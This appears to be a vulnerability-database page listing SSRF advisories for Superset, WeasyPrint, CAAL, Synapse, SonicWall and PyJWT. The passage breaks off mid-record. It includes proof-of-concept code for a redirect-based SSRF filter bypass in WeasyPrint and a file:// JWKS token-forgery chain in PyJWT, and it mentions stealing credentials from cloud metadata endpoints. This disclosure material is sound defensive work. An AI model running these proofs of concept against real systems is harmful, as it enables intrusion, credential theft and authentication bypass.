Common Weakness Enumeration

CWE-918

Allowed

Server-Side Request Forgery (SSRF)

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

4757 vulnerabilities reference this CWE, most recent first.

GHSA-9832-MGG4-3GR6

Vulnerability from github – Published: 2023-09-06 15:30 – Updated: 2023-09-07 13:59
VLAI
Summary
Apache Superset has improper default REST API permission for Gamma users
Details

An improper default REST API permission for Gamma users in Apache Superset up to and including 2.1.0 allows for an authenticated Gamma user to test database connections.

Severity
5.4 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "apache-superset"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-36387"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-281",
      "CWE-863",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-09-07T13:59:27Z",
    "nvd_published_at": "2023-09-06T13:15:08Z",
    "severity": "MODERATE"
  },
  "details": "An improper default REST API permission for Gamma users in Apache Superset up to and including 2.1.0 allows for an authenticated Gamma user to test database connections.\n",
  "id": "GHSA-9832-mgg4-3gr6",
  "modified": "2023-09-07T13:59:27Z",
  "published": "2023-09-06T15:30:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-36387"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/superset/pull/24185"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apache/superset"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/tt6s6hm8nv6s11z8bfsk3r3d9ov0ogw3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Apache Superset has improper default REST API permission for Gamma users"
}

GHSA-983W-RHVV-GWMV

Vulnerability from github – Published: 2026-01-20 16:29 – Updated: 2026-07-02 20:22
VLAI
Summary
WeasyPrint has a Server-Side Request Forgery (SSRF) Protection Bypass via HTTP Redirect
Details

Summary

A Server-Side Request Forgery (SSRF) Protection Bypass exists in WeasyPrint's default_url_fetcher. The vulnerability allows attackers to access internal network resources (such as localhost services or cloud metadata endpoints) even when a developer has implemented a custom url_fetcher to block such access. This occurs because the underlying urllib library follows HTTP redirects automatically without re-validating the new destination against the developer's security policy.

Details

The default URL fetching mechanism in WeasyPrint (default_url_fetcher in weasyprint/urls.py) is vulnerable to a Server-Side Request Forgery (SSRF) Protection Bypass.

While WeasyPrint allows developers to define custom url_fetcher functions to validate or sanitize URLs before fetching (e.g., blocking internal IP addresses or specific ports), the underlying implementation uses Python's standard urllib.request.urlopen. By default, urllib automatically follows HTTP redirects (status codes 301, 302, 307, etc.) without returning control to the developer's validation logic for the new target URL.

This behavior creates a Time-of-Check to Time-of-Use (TOCTOU) vulnerability. An attacker can provide a URL that passes the developer's allowlist/blocklist (the Check) but immediately redirects to a blocked internal resource (the Use).

PoC

To reproduce this vulnerability, use the following setup. This scenario simulates a developer attempting to blacklist access to internal hostnames (e.g., localhost).

1. victim.py (Internal Service - Port 5000) Simulates a sensitive internal service running on localhost.

from flask import Flask
app = Flask(__name__)

@app.route('/secret')
def secret():
    return "CRITICAL_INTERNAL_DATA"

if __name__ == '__main__':
    # Listens on localhost:5000
    app.run(port=5000)

2. attacker.py (External Redirector - Port 1337) Simulates an external server. It accepts a request and redirects it to the blocked hostname (localhost).

from flask import Flask, redirect
app = Flask(__name__)

@app.route('/image.png')
def malicious():
    # The vulnerability: Redirects to the BLOCKED hostname
    return redirect("http://localhost:5000/secret", code=302)

if __name__ == '__main__':
    app.run(port=1337)

3. exploit.py (Vulnerable Implementation) Simulates the application with a security filter intended to block access to "localhost".

from weasyprint import HTML, default_url_fetcher
import logging

# Security Filter: Intended to block internal hostnames
def secure_fetcher(url):
    # Simulates a blacklist for 'localhost'
    if "localhost" in url:
        raise PermissionError(f"Security Block: Access to {url} denied.")

    print(f"[ALLOWED] Initial URL check passed for: {url}")
    return default_url_fetcher(url)

# EXPLOIT LOGIC:
# 1. We access the attacker via '127.0.0.1' (or an external IP). 
#    The string "127.0.0.1" passes the check because it is not "localhost".
# 2. The attacker redirects to "http://localhost:5000/...".
# 3. urllib follows the redirect to 'localhost' without re-triggering secure_fetcher.

try:
    # Use 127.0.0.1 to bypass the string check for 'localhost'
    html_content = '<link rel="attachment" href="http://54.234.88.160:1337/image.png">'

    doc = HTML(string=html_content, url_fetcher=secure_fetcher)
    doc.write_pdf("exploit.pdf")

    print("Exploit successful. The 'localhost' block was bypassed via redirect.")
    print("Check exploit.pdf for 'CRITICAL_INTERNAL_DATA'.")
except Exception as e:
    print(f"Exploit failed: {e}")

4. Attacker read attachment in PDF

➜ pdfdetach -list resultado_exploit.pdf
1 embedded files
1: secret
➜ pdfdetach -saveall resultado_exploit.pdf
➜ cat secret
CRITICAL_INTERNAL_DATA

Evidence image

Impact

This vulnerability impacts any application or SaaS platform using WeasyPrint to render user-supplied HTML/CSS that attempts to restrict external resource loading.

  • Internal Network Reconnaissance: Attackers can bypass firewalls or allowlists to scan and access internal services (e.g., Redis, ElasticSearch, Admin Panels) running on the loopback interface or local network.
  • Cloud Metadata Exfiltration: In cloud environments, attackers can redirect requests to metadata services (e.g., http://169.254.169.254) to steal instance credentials and escalate privileges.
  • Security Control Bypass: It renders the url_fetcher security validation logic ineffective against sophisticated attacks, creating a false sense of security for developers.
Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "weasyprint"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "68.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-68616"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-601",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-20T16:29:53Z",
    "nvd_published_at": "2026-01-19T16:15:53Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nA **Server-Side Request Forgery (SSRF) Protection Bypass** exists in WeasyPrint\u0027s `default_url_fetcher`. The vulnerability allows attackers to access internal network resources (such as `localhost` services or cloud metadata endpoints) even when a developer has implemented a custom `url_fetcher` to block such access. This occurs because the underlying `urllib` library follows HTTP redirects automatically without re-validating the new destination against the developer\u0027s security policy.\n\n### Details\n\nThe default URL fetching mechanism in WeasyPrint (default_url_fetcher in weasyprint/urls.py) is vulnerable to a Server-Side Request Forgery (SSRF) Protection Bypass.\n\nWhile WeasyPrint allows developers to define custom url_fetcher functions to validate or sanitize URLs before fetching (e.g., blocking internal IP addresses or specific ports), the underlying implementation uses Python\u0027s standard urllib.request.urlopen. By default, urllib automatically follows HTTP redirects (status codes 301, 302, 307, etc.) without returning control to the developer\u0027s validation logic for the new target URL.\n\nThis behavior creates a Time-of-Check to Time-of-Use (TOCTOU) vulnerability. An attacker can provide a URL that passes the developer\u0027s allowlist/blocklist (the Check) but immediately redirects to a blocked internal resource (the Use).\n\n### PoC\n\nTo reproduce this vulnerability, use the following setup. This scenario simulates a developer attempting to blacklist access to internal hostnames (e.g., `localhost`).\n\n**1. victim.py (Internal Service - Port 5000)**\nSimulates a sensitive internal service running on localhost.\n\n```python\nfrom flask import Flask\napp = Flask(__name__)\n\n@app.route(\u0027/secret\u0027)\ndef secret():\n    return \"CRITICAL_INTERNAL_DATA\"\n\nif __name__ == \u0027__main__\u0027:\n    # Listens on localhost:5000\n    app.run(port=5000)\n```\n\n**2. attacker.py (External Redirector - Port 1337)**\nSimulates an external server. It accepts a request and redirects it to the blocked hostname (`localhost`).\n\n```python\nfrom flask import Flask, redirect\napp = Flask(__name__)\n\n@app.route(\u0027/image.png\u0027)\ndef malicious():\n    # The vulnerability: Redirects to the BLOCKED hostname\n    return redirect(\"http://localhost:5000/secret\", code=302)\n\nif __name__ == \u0027__main__\u0027:\n    app.run(port=1337)\n```\n\n**3. exploit.py (Vulnerable Implementation)**\nSimulates the application with a security filter intended to block access to \"localhost\".\n\n```python\nfrom weasyprint import HTML, default_url_fetcher\nimport logging\n\n# Security Filter: Intended to block internal hostnames\ndef secure_fetcher(url):\n    # Simulates a blacklist for \u0027localhost\u0027\n    if \"localhost\" in url:\n        raise PermissionError(f\"Security Block: Access to {url} denied.\")\n    \n    print(f\"[ALLOWED] Initial URL check passed for: {url}\")\n    return default_url_fetcher(url)\n\n# EXPLOIT LOGIC:\n# 1. We access the attacker via \u0027127.0.0.1\u0027 (or an external IP). \n#    The string \"127.0.0.1\" passes the check because it is not \"localhost\".\n# 2. The attacker redirects to \"http://localhost:5000/...\".\n# 3. urllib follows the redirect to \u0027localhost\u0027 without re-triggering secure_fetcher.\n\ntry:\n    # Use 127.0.0.1 to bypass the string check for \u0027localhost\u0027\n    html_content = \u0027\u003clink rel=\"attachment\" href=\"http://54.234.88.160:1337/image.png\"\u003e\u0027\n    \n    doc = HTML(string=html_content, url_fetcher=secure_fetcher)\n    doc.write_pdf(\"exploit.pdf\")\n    \n    print(\"Exploit successful. The \u0027localhost\u0027 block was bypassed via redirect.\")\n    print(\"Check exploit.pdf for \u0027CRITICAL_INTERNAL_DATA\u0027.\")\nexcept Exception as e:\n    print(f\"Exploit failed: {e}\")\n```\n**4. Attacker read attachment in PDF**\n```\n\u279c pdfdetach -list resultado_exploit.pdf\n1 embedded files\n1: secret\n\u279c pdfdetach -saveall resultado_exploit.pdf\n\u279c cat secret\nCRITICAL_INTERNAL_DATA\n```\n**Evidence**\n\u003cimg width=\"1514\" height=\"436\" alt=\"image\" src=\"https://github.com/user-attachments/assets/f7881694-be4d-4c63-8bca-2b220e4c87f9\" /\u003e\n\n### Impact\n\nThis vulnerability impacts any application or SaaS platform using WeasyPrint to render user-supplied HTML/CSS that attempts to restrict external resource loading.\n\n  * **Internal Network Reconnaissance:** Attackers can bypass firewalls or allowlists to scan and access internal services (e.g., Redis, ElasticSearch, Admin Panels) running on the loopback interface or local network.\n  * **Cloud Metadata Exfiltration:** In cloud environments, attackers can redirect requests to metadata services (e.g., `http://169.254.169.254`) to steal instance credentials and escalate privileges.\n  * **Security Control Bypass:** It renders the `url_fetcher` security validation logic ineffective against sophisticated attacks, creating a false sense of security for developers.",
  "id": "GHSA-983w-rhvv-gwmv",
  "modified": "2026-07-02T20:22:23Z",
  "published": "2026-01-20T16:29:53Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Kozea/WeasyPrint/security/advisories/GHSA-983w-rhvv-gwmv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-68616"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Kozea/WeasyPrint/commit/b6a14f0f3f4ce9c0c75c1a2d73cb1c5d43f0e565"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2025-68616"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2430858"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Kozea/WeasyPrint"
    },
    {
      "type": "WEB",
      "url": "https://security.access.redhat.com/data/csaf/v2/vex/2025/cve-2025-68616.json"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "WeasyPrint has a Server-Side Request Forgery (SSRF) Protection Bypass via HTTP Redirect"
}

GHSA-988G-78QR-2CPM

Vulnerability from github – Published: 2026-05-17 03:30 – Updated: 2026-05-17 03:30
VLAI
Details

A weakness has been identified in CoreWorxLab CAAL up to 1.6.0. The affected element is an unknown function of the file src/caal/webhooks.py of the component test-hass Endpoint. This manipulation causes server-side request forgery. Remote exploitation of the attack is possible. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.

Severity
7.3 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
5.5 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-8725"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-17T02:16:45Z",
    "severity": "MODERATE"
  },
  "details": "A weakness has been identified in CoreWorxLab CAAL up to 1.6.0. The affected element is an unknown function of the file src/caal/webhooks.py of the component test-hass Endpoint. This manipulation causes server-side request forgery. Remote exploitation of the attack is possible. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.",
  "id": "GHSA-988g-78qr-2cpm",
  "modified": "2026-05-17T03:30:25Z",
  "published": "2026-05-17T03:30:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-8725"
    },
    {
      "type": "WEB",
      "url": "https://github.com/juruo123/public_exp/issues/5"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/submit/807753"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/364316"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/364316/cti"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-98PX-6486-J7QC

Vulnerability from github – Published: 2023-06-06 16:41 – Updated: 2024-09-30 20:34
VLAI
Summary
Synapse has URL deny list bypass via oEmbed and image URLs when generating previews
Details

Impact

A discovered oEmbed or image URL can bypass the url_preview_url_blacklist setting potentially allowing server side request forgery or bypassing network policies. Impact is limited to IP addresses allowed by the url_preview_ip_range_blacklist setting (by default this only allows public IPs) and by the limited information returned to the client:

  • For discovered oEmbed URLs, any non-JSON response or a JSON response which includes non-oEmbed information is discarded.
  • For discovered image URLs, any non-image response is discarded.

Systems which have URL preview disabled (via the url_preview_enabled setting) or have not configured a url_preview_url_blacklist are not affected.

Because of the uncommon configuration required, the limited information a malicious user, and the amount of guesses/time the attack would need; the severity is rated as low.

Patches

The issue is fixed by #15601.

Workarounds

The default configuration of the url_preview_ip_range_blacklist should protect against requests being made to internal infrastructure, URL previews of public URLs is expected.

Alternately URL previews could be disabled using the url_preview_enabled setting.

Severity
3.5 (Low)
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N
5.1 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "matrix-synapse"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.85.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-32683"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-06-06T16:41:34Z",
    "nvd_published_at": "2023-06-06T19:15:11Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\nA discovered oEmbed or image URL can bypass the `url_preview_url_blacklist` setting potentially allowing server side request forgery or bypassing network policies. Impact is limited to IP addresses allowed by the `url_preview_ip_range_blacklist` setting (by default this only allows public IPs) and by the limited information returned to the client:\n\n* For discovered oEmbed URLs, any non-JSON response or a JSON response which includes non-oEmbed information is discarded.\n* For discovered image URLs, any non-image response is discarded.\n\nSystems which have URL preview disabled (via the `url_preview_enabled` setting) or have not configured a `url_preview_url_blacklist` are not affected.\n\nBecause of the uncommon configuration required, the limited information a malicious user, and the amount of guesses/time the attack would need; the severity is rated as low.\n\n### Patches\n\nThe issue is fixed by #15601.\n\n### Workarounds\n\nThe default configuration of the `url_preview_ip_range_blacklist` should protect against requests being made to internal infrastructure, URL previews of public URLs is expected.\n\nAlternately URL previews could be disabled using the `url_preview_enabled` setting.",
  "id": "GHSA-98px-6486-j7qc",
  "modified": "2024-09-30T20:34:41Z",
  "published": "2023-06-06T16:41:34Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/matrix-org/synapse/security/advisories/GHSA-98px-6486-j7qc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-32683"
    },
    {
      "type": "WEB",
      "url": "https://github.com/matrix-org/synapse/pull/15601"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/matrix-org/synapse"
    },
    {
      "type": "WEB",
      "url": "https://github.com/matrix-org/synapse/releases/tag/v1.85.0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/matrix-synapse/PYSEC-2023-85.yaml"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/X6DH5A5YEB5LRIPP32OUW25FCGZFCZU2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Synapse has URL deny list bypass via oEmbed and image URLs when generating previews"
}

GHSA-98VP-FCQ9-GMJ3

Vulnerability from github – Published: 2025-05-14 18:30 – Updated: 2025-05-14 21:31
VLAI
Details

A Server-side request forgery (SSRF) vulnerability has been identified in the SMA1000 Appliance Work Place interface. By using an encoded URL, a remote unauthenticated attacker could potentially cause the appliance to make requests to unintended location.

Severity
7.2 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-40595"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-05-14T17:15:48Z",
    "severity": "HIGH"
  },
  "details": "A Server-side request forgery (SSRF) vulnerability has been identified in the SMA1000 Appliance Work Place interface. By using an encoded URL, a remote unauthenticated attacker could potentially cause the appliance to make requests to unintended location.",
  "id": "GHSA-98vp-fcq9-gmj3",
  "modified": "2025-05-14T21:31:17Z",
  "published": "2025-05-14T18:30:48Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-40595"
    },
    {
      "type": "WEB",
      "url": "https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2025-0010"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-993G-76C3-P5M4

Vulnerability from github – Published: 2026-06-15 19:28 – Updated: 2026-06-15 19:28
VLAI
Summary
PyJWKClient: missing scheme allowlist enables CVE-2024-21643-class SSRF + token forgery via file://, ftp://, data: schemes
Details

[!NOTE] The library does not directly return non-HTTP(S) URI contents to the attacker; the chained "plant a JWKS to forge tokens" scenario described in the original report requires additional application-layer flaws (attacker write access to a filesystem path, untrusted jku derivation) that this fix does not address. Severity is scored for the scheme-acceptance bug in isolation.

Summary

PyJWKClient passes its uri argument directly to urllib.request.urlopen() which uses Python stdlib's default OpenerDirector registering HTTPHandler, HTTPSHandler, FTPHandler, FileHandler, and DataHandler. There is currently no documented option to restrict which schemes PyJWKClient will fetch.

If an application's jku URL ingestion path accepts attacker-influenced URLs (e.g., from JWT header, configuration file, OAuth flow parameter), the attacker can:

  1. Cause PyJWKClient to read arbitrary local files via file:// (SSRF on local filesystem) — the file's contents are passed to json.load.
  2. Cause PyJWKClient to attempt FTP / data-URI fetches (broader SSRF surface).
  3. Forge tokens that PyJWT verifies as valid — if the attacker can write to any path the JKU URL points at AND influences the URL, they can plant a JWK Set containing their own public key, sign tokens with the matching private key, and jwt.decode() accepts.

Affected versions

Tested and reproducible on PyJWT 2.11.0 and 2.12.1. Likely all versions back to PyJWKClient introduction.

Reproducer (full attack chain — verified empirically)

import jwt as pyjwt
from jwt import PyJWKClient
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
import json, base64, time

# Attacker generates keypair (no relation to real IdP)
key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
pub_n = key.public_key().public_numbers().n

def b64u(n):
    bl = (n.bit_length() + 7) // 8
    return base64.urlsafe_b64encode(n.to_bytes(bl, 'big')).rstrip(b'=').decode()

# Attacker writes JWK Set containing their public key to /tmp
jwks = {"keys":[{"kty":"RSA","kid":"attacker","use":"sig","alg":"RS256",
                  "n":b64u(pub_n),"e":"AQAB"}]}
with open("/tmp/attacker.json","w") as f:
    json.dump(jwks, f)

# Attacker mints token signed with their private key, jku=file://
priv_pem = key.private_bytes(serialization.Encoding.PEM,
    serialization.PrivateFormat.PKCS8, serialization.NoEncryption())
now = int(time.time())
token = pyjwt.encode(
    {"sub":"attacker","aud":"target-app","iat":now,"exp":now+3600},
    priv_pem, algorithm="RS256",
    headers={"kid":"attacker","jku":"file:///tmp/attacker.json","typ":"JWT"})

# Vulnerable application pattern: caller derives jku from token header
# and passes to PyJWKClient without scheme validation
header = pyjwt.get_unverified_header(token)
client = PyJWKClient(header["jku"])      # <-- accepts file:// silently
key_obj = client.get_signing_key_from_jwt(token)
decoded = pyjwt.decode(token, key_obj.key, algorithms=["RS256"],
                       audience="target-app")
print("Token verified:", decoded)
# Output: Token verified: {'sub': 'attacker', 'aud': 'target-app', ...}

Cross-library evidence — PyJWT is the outlier

The same composition pattern is structurally safe in 4 other mainstream JWT libraries:

Library Behavior on jku=file://... Mechanism
PyJWT 2.12.1 (Python) Reads file from disk, parses, uses for signature verification urllib default OpenerDirector includes FileHandler
panva/jose 6.2.3 (Node.js) Refuses pre-fetch WHATWG fetch() rejects non-http(s) at fetch-spec layer
golang-jwt + MicahParks/keyfunc v3.4.0 (Go) Refuses pre-fetch http.DefaultTransport only registers http/https
Microsoft.IdentityModel.Tokens 8.18.0 (.NET) Refuses pre-fetch HttpDocumentRetriever defaults RequireHttps=true
Spring Security NimbusJwtDecoder 6.3.4 (Java) Refuses pre-fetch URI parser delegation refuses non-http(s) at request build

PyJWT is the only library of these 5 where the default behavior allows file:// to reach the fetch layer.

Recommended fix

Add allowed_schemes: tuple[str, ...] = ("https", "http") kwarg to PyJWKClient.__init__. Pre-validate URL scheme before invoking urllib.request.urlopen. URLs with disallowed schemes raise PyJWKClientError before any fetch is attempted.

Diff sketch against jwt/jwks_client.py

def __init__(
    self, uri: str,
    cache_keys: bool = False, max_cached_keys: int = 16,
    cache_jwk_set: bool = True, lifespan: float = 300,
    headers: dict[str, Any] | None = None, timeout: float = 30,
    ssl_context: SSLContext | None = None,
    allowed_schemes: tuple[str, ...] = ("https", "http"),  # NEW
):
    """...
    :param allowed_schemes: URL schemes the JWKS endpoint is permitted
        to use. Default ``("https", "http")``. Pass ``("https",)`` for
        HTTPS-only operation. URLs with disallowed schemes raise
        ``PyJWKClientError`` before any fetch is attempted.
    """
    # ... existing init code ...
    self.allowed_schemes = allowed_schemes
    self._validate_uri_scheme()


def _validate_uri_scheme(self) -> None:
    """Reject the configured URI early if its scheme isn't allowed."""
    from urllib.parse import urlparse
    parsed = urlparse(self.uri)
    scheme = parsed.scheme.lower()
    if not scheme:
        raise PyJWKClientError(
            f"PyJWKClient URI '{self.uri}' has no scheme; expected one of "
            f"{self.allowed_schemes!r}")
    if scheme not in self.allowed_schemes:
        raise PyJWKClientError(
            f"PyJWKClient URI scheme '{scheme}' is not in allowed_schemes "
            f"{self.allowed_schemes!r}; refusing to fetch from this URL")

Tests to add

def test_pyjwkclient_rejects_file_scheme():
    with pytest.raises(PyJWKClientError, match="not in allowed_schemes"):
        PyJWKClient("file:///etc/passwd")

def test_pyjwkclient_rejects_ftp_scheme():
    with pytest.raises(PyJWKClientError):
        PyJWKClient("ftp://example.org/keys.json")

def test_pyjwkclient_rejects_data_scheme():
    with pytest.raises(PyJWKClientError):
        PyJWKClient('data:application/json,{"keys":[]}')

def test_pyjwkclient_caller_can_lock_to_https_only():
    with pytest.raises(PyJWKClientError):
        PyJWKClient("http://internal.test/jwks.json", allowed_schemes=("https",))

Compatibility

  • Default allowed_schemes=("https", "http") preserves backwards compatibility for the overwhelming majority of callers using HTTP/HTTPS JWKS endpoints
  • Breaking only for callers using non-HTTP schemes intentionally (vanishingly rare)
  • No changes to urllib fetch logic itself — the fix is a pre-validation gate

Class precedent

This is the same class as CVE-2024-21643 (Apache Jena JKU-trust: attacker-supplied JKU URL fetched without scheme validation). NVD-rated CVSS 7.5.

Prior art (verified 2026-05-06)

Confirmed via live recon (NVD direct, OSV.dev, PyJWT GitHub Security Advisories, issue/PR keyword search, CHANGELOG inspection):

  • No existing CVE on PyJWT specifically for PyJWKClient URL scheme handling
  • No existing GitHub issue or PR addressing scheme allowlisting
  • No silent fix in CHANGELOG through 2.12.1
  • 5 prior PyJWT advisories (CVE-2017-11424, CVE-2022-29217, CVE-2024-53861, CVE-2025-45768, CVE-2026-32597) — none cover this class

Credit

Reported by Keijo Tuominen — independent security research at CMHT.tech (https://cmht.tech).

Reproduction artifacts available on request: full multi-language probe pack (5 wrappers × 25 fixtures × 125 cells) demonstrating cross-library divergence at the URL-scheme boundary.

Severity
4.2 (Medium)
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.12.1"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "PyJWT"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.13.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-48522"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-441",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-15T19:28:41Z",
    "nvd_published_at": "2026-05-28T16:16:29Z",
    "severity": "MODERATE"
  },
  "details": "\u003e [!NOTE]\n\u003e The library does not directly return non-HTTP(S) URI contents to the attacker; the chained \"plant a JWKS to forge tokens\" scenario described in the original report requires additional application-layer flaws (attacker write access to a filesystem path, untrusted jku derivation) that this fix does not address. Severity is scored for the scheme-acceptance bug in isolation.\n\n## Summary\n\nPyJWKClient passes its `uri` argument directly to `urllib.request.urlopen()` which uses Python stdlib\u0027s default `OpenerDirector` registering `HTTPHandler`, `HTTPSHandler`, `FTPHandler`, **`FileHandler`**, and `DataHandler`. There is currently no documented option to restrict which schemes PyJWKClient will fetch.\n\nIf an application\u0027s `jku` URL ingestion path accepts attacker-influenced URLs (e.g., from JWT header, configuration file, OAuth flow parameter), the attacker can:\n\n1. Cause PyJWKClient to read arbitrary local files via `file://` (SSRF on local filesystem) \u2014 the file\u0027s contents are passed to `json.load`.\n2. Cause PyJWKClient to attempt FTP / data-URI fetches (broader SSRF surface).\n3. **Forge tokens that PyJWT verifies as valid** \u2014 if the attacker can write to any path the JKU URL points at AND influences the URL, they can plant a JWK Set containing their own public key, sign tokens with the matching private key, and `jwt.decode()` accepts.\n\n## Affected versions\n\nTested and reproducible on **PyJWT 2.11.0 and 2.12.1**. Likely all versions back to PyJWKClient introduction.\n\n## Reproducer (full attack chain \u2014 verified empirically)\n\n```python\nimport jwt as pyjwt\nfrom jwt import PyJWKClient\nfrom cryptography.hazmat.primitives.asymmetric import rsa\nfrom cryptography.hazmat.primitives import serialization\nimport json, base64, time\n\n# Attacker generates keypair (no relation to real IdP)\nkey = rsa.generate_private_key(public_exponent=65537, key_size=2048)\npub_n = key.public_key().public_numbers().n\n\ndef b64u(n):\n    bl = (n.bit_length() + 7) // 8\n    return base64.urlsafe_b64encode(n.to_bytes(bl, \u0027big\u0027)).rstrip(b\u0027=\u0027).decode()\n\n# Attacker writes JWK Set containing their public key to /tmp\njwks = {\"keys\":[{\"kty\":\"RSA\",\"kid\":\"attacker\",\"use\":\"sig\",\"alg\":\"RS256\",\n                  \"n\":b64u(pub_n),\"e\":\"AQAB\"}]}\nwith open(\"/tmp/attacker.json\",\"w\") as f:\n    json.dump(jwks, f)\n\n# Attacker mints token signed with their private key, jku=file://\npriv_pem = key.private_bytes(serialization.Encoding.PEM,\n    serialization.PrivateFormat.PKCS8, 